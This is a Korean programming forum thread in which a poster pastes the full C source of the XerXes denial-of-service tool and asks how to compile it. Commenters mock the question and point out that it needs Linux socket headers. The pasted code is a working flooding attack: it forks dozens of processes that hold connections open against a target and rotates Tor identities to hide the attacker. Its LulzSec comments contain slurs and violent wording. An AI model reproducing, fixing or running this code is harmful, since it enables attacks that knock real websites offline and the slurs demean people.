[xerxes dos attack 소스]이소스가 리눅스인지 C언어 인지 알려주세요,

글쓴이: 익명 사용자 / 작성시간: 수, 2011/09/21 - 3:05오후
/* The sauce behind the faggotry */ /* This is the original C source code fo the tool that faggot, jester, addded a GUI to */ /* and renamed "XerXes". It does stuff. Like use TOR to rape sites... Kinda. */ /* Read the source to understand how it works */ /* Kinda lame. */ /* ~LulzSec */ /* 176LRX4WRWD5LWDMbhr94ptb2MW9varCZP */ /* SET SAIL FOR FAIL! */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <netdb.h> #include <signal.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> int make_socket(char *host, char *port) { struct addrinfo hints, *servinfo, *p; int sock, r; // fprintf(stderr, "[Connecting -> %s:%s\n", host, port); memset(&hints, 0, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r)); exit(0); } for(p = servinfo; p != NULL; p = p->ai_next) { if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { continue; } if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) { close(sock); continue; } break; } if(p == NULL) { if(servinfo) freeaddrinfo(servinfo); fprintf(stderr, "No connection could be made\n"); exit(0); } if(servinfo) freeaddrinfo(servinfo); fprintf(stderr, "[Connected -> %s:%s]\n", host, port); return sock; } void broke(int s) { // do nothing } #define CONNECTIONS 8 #define THREADS 48 void attack(char *host, char *port, int id) { int sockets[CONNECTIONS]; int x, g=1, r; for(x=0; x!= CONNECTIONS; x++) sockets[x]=0; signal(SIGPIPE, &broke); while(1) { for(x=0; x != CONNECTIONS; x++) { if(sockets[x] == 0) sockets[x] = make_socket(host, port); r=write(sockets[x], "\0", 1); if(r == -1) { close(sockets[x]); sockets[x] = make_socket(host, port); } else // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r); fprintf(stderr, "[%i: Voly Sent]\n", id); } fprintf(stderr, "[%i: Voly Sent]\n", id); usleep(300000); } } void cycle_identity() { int r; int socket = make_socket("localhost", "9050"); write(socket, "AUTHENTICATE \"\"\n", 16); while(1) { r=write(socket, "signal NEWNYM\n\x00", 16); fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r); usleep(300000); } } int main(int argc, char **argv) { int x; if(argc !=3) cycle_identity(); for(x=0; x != THREADS; x++) { if(fork()) attack(argv[1], argv[2], x); usleep(200000); } getc(stdin); return 0; }
디도스의 일종으로 Xerxes dos attack 프로그램을 짜야합니다.
검색을 해보니 소스가 위와 같은데, 이 프로그램의 결과는 아래와같은 동영상을 나타냅니다.
www.youtube.com/watch?v=WeO44IWlkfU
문제는 이것을 C로 돌리면 헤더파일 참조가 안된다고 에러가 나고, 리눅스에서 돌리면 이 소스를 찾을수 없다고 나옵니다.
제가 리눅스는 초보라서 잘은 모르겠지만, 혹시나 리눅스를 잘하시는 분은 이소스좀 돌려봐주시고, 문제점을 알려주시면 감사하겠습니다.
Forums:
이 사람이 고양이인지 남자인지 알려주세요와
이 사람이 고양이인지 남자인지 알려주세요와 비슷하네요..
--
코딩스타일로 봐서는 unix/linux용 C코드 같습니다만,
MS Windows 계열에서 컴파일이 되는지는 확인해봐야할 듯..
윈도우에서 C로 컴파일하였을 때 헤더파일이 에러가
윈도우에서 C로 컴파일하였을 때 헤더파일이 에러가 납니다.
그 헤더파일을 인터넷으로 찾아서 INCLUDE 폴더안에 넣었더니
또다른 헤더파일이 에러가 나고....
그 에러난 헤더파일은 더이상 인터넷으로 찾을 수가 없었으며..
이것을 리눅스에서 헤더파일을 다 가져와야하는것도 문제가 있습니다.
제가 리눅스는 사용할줄 몰라서 왠만해서 C에서 컴파일 하려고하는데
어렵네요,
리눅스인지 C언어인지 물어보는 모습에서 스크립트
리눅스인지 C언어인지 물어보는 모습에서
스크립트 키디의 위엄이 느껴집니다. ㄷㄷㄷ
그건 아니구요... 보안쪽 업체에서 일을 하는데,
그건 아니구요...
보안쪽 업체에서 일을 하는데, PL이 과제로 내준거예요..
이쪽에서 일하려면 해킹도 해봐야 한대서요.
잘몰라서 물어봐도 알려주지도 않고, 몇일째 날새서
인터넷 구글 뒤지고.. 아무리 찾아봐도 저 소스밖에 나오지 않습니다
이런 분들이 보안 업체에서 근무하시는구나.. 아무리
이런 분들이 보안 업체에서 근무하시는구나..
아무리 신입이라도..
보안업체에서 일하신다면서 공격 프로그램 소스를
보안업체에서 일하신다면서 공격 프로그램 소스를 컴파일할 수 있는 플랫폼도 모르신다니...
신입 여부를 떠나서 정말 황당하네요.
공부를 정말 열심히 하셔야겠네요.
RET ;My life :P
질문을 여기 올린것처럼 하셨으면 아무도 안
질문을 여기 올린것처럼 하셨으면 아무도 안 알려줄거예요.
뭐랄까... 문자 그대로 멍청한 질문이거든요.
일단은 C언어처럼 생겼으니, C언어 소스겠죠. 윈도우즈에서 컴파일해서 안되는건 해당 라이브러리가 설치가 안된건데, 리눅스에서 컴파일한다고 달라질 건 없을거예요.
저기서 include에 있는 헤더 파일들이 어느 라이브러리에 포함된건지 찾아보고, 그 라이브러리들을 설치하세요. 그 다음에 컴파일하면 아마? 되지 싶네요.
물론 윈도우즈에서도 어느 컴파일러(gcc? VC?..)를 쓰느냐에 따라 방법은 다 다르겠지만..
피할 수 있을때 즐겨라! http://melotopia.net/b
삭제
죄송합니다.
음.....
제목에 답이 있는거아닌가요/
리눅스 인가요 씨 인가요....
리눅스운영체제에서 빌드가 되는 c언어 소스코드인거같네요.
메인함수가 빠져있지만 함수 인터페이스가 다 공개되어있으니 간단히 바로 돌려볼수있게 생겼네요.
해보진않았지만...눈으로 보기엔 걍 메인함수 인터페이스만 맞춰서 콜만 해주면 끝날 문제인거같네요.
MS윈도우 소스인지 리눅스 소스인지는 중요하지
MS윈도우 소스인지 리눅스 소스인지는 중요하지 않습니다.
중요한 것은 소켓 라이브러리입니다.
MS라면 윈속을 사용할 것이고 리눅스라면 버클리 소켓을 사용하겠죠.
둘다 사용법은 비슷합니다.
소켓 책을 구해서 소켓 API와 프로그래밍을 보시면 되겠네요.
리눅스에서 컴파일 하셔야겠어요. 소켓에 write
리눅스에서 컴파일 하셔야겠어요.
소켓에 write 하는 건 리눅스에서 하는 방식이니까요. 윈도우즈에서는 대신 send 하지요..
리눅스인지 C인지는,
리눅스 수준(POSIX) API 인지 C표준 API(ANSI 표준)인지를 일컬을 텐데 보니까 fprintf를 쓴 건 C 표준이고 소켓 API 는 리눅스의 API 이니까,
결국 둘 다가 되는 것 같습니다.
열혈 TCP/IP - 윤성우씨 책 추천합니다.
리눅스에서도 send 써도 상관없습니다... 그리고
리눅스에서도 send 써도 상관없습니다...
그리고 저 소스는 리눅스 에서 컴파일 하여야 하구요
위에 헤더파일 보면 헤더파일이 리눅스 헤더파일 입니다..
리눅스에서도 send 써도 상관없습니다.
리눅스에서도 send 써도 상관없습니다.
파일이 아니고 소켓인 경우에는,
리눅스는 기본적으로 write 도 하고 send 도 합니다.
윈도우즈는 Winsock 에서는 write 는 못하고 send 만 합니다.
제가 틀렸나요?
위에 쓰신거 보면 리눅스에서는 write 윈도우에서는
위에 쓰신거 보면 리눅스에서는 write 윈도우에서는 send를 한다고 써놓으셨습니다.
제가 이해를 잘못한건지 몰라도 딴지는 아니였습니다.
저 댓글만 보면 send는 윈도우에서 쓴다는 말처럼 보여서요
또한 둘다 라고 하셨지만 위의 헤더파일은 리눅스 시스템의 헤더파일 입니다.
저도 딴지 아닙니다. 제가 잘못된 정보를 올린건지
저도 딴지 아닙니다.
제가 잘못된 정보를 올린건지 확인하고 싶었을 뿐입니다.
제 미천한 지식에 자신감이 없어서..
게시판에 글쓰고 혹은 딴지도 걸고 하는 것은 모두 우리의 앎을 공고히 하려는 것이라고 생각합니다.
제가 종종 틀린 내용을 쓰는 경우가 왕왕 있어왔기에 무언가를 쓸때는 조심스럽더군요.
틀리면 지적해주는게 맞는 것 같습니다. 그게 딴지가 됐던 뭐가 됐던 누군가는 잘못된 지식을 정말인줄 알테니까요... 그리고 이곳이 klDp 이므로 더욱 이런 노력이 중요하다고 생각합니다. 그런 측면에서는 딴지가 오히려 자정노력이라고 볼 수도 있을 것 같습니다.
단, 인신공격은 반대합니다.
특별한 수를 쓰면 윈도우즈에서도 소켓에 Write할
특별한 수를 쓰면 윈도우즈에서도 소켓에 Write할 수 있습니다.
물론, write 가 아닌 WriteFile 일 것입니다만...
그럼 그 특별한 수가 무엇인가요?
그럼 그 특별한 수가 무엇인가요?
http://msdn.microsoft.com/en-us/library/aa365747(v=VS.85).aspx
제가 찾아보았네요.. 이렇게 나오는군요. 뭐 무슨 말인지 잘 모르겠지만 설명은 나오는군요..
진지하게 묻겠는데..
진지하게 묻겠는데 C언어랑 리눅스랑 별개라고 생각하신 건가요?
C언어는 리눅스에서도 C언어이고 윈도에서도 C언어입니다. 설마 저걸 쉘 스크립트라고 생각하시진 않으셨을테고요..
재대로 물으려면 일단 딱 봐도 C언어이니 리눅스용인지 윈도용인지 어느 환경에서 컴파일 가능할지를 여쭈셔야 합니다.
요즘 한국 개발인력의 저급화에 대해 신경쓰시는 분들이 많은 만큼 이런 사이트에서 기본적인 데에서 실수하면 좋지 못한 답을 받는 경우가 있어요.
완료
이글에 대해서 완료하였습니다.
댓글 달기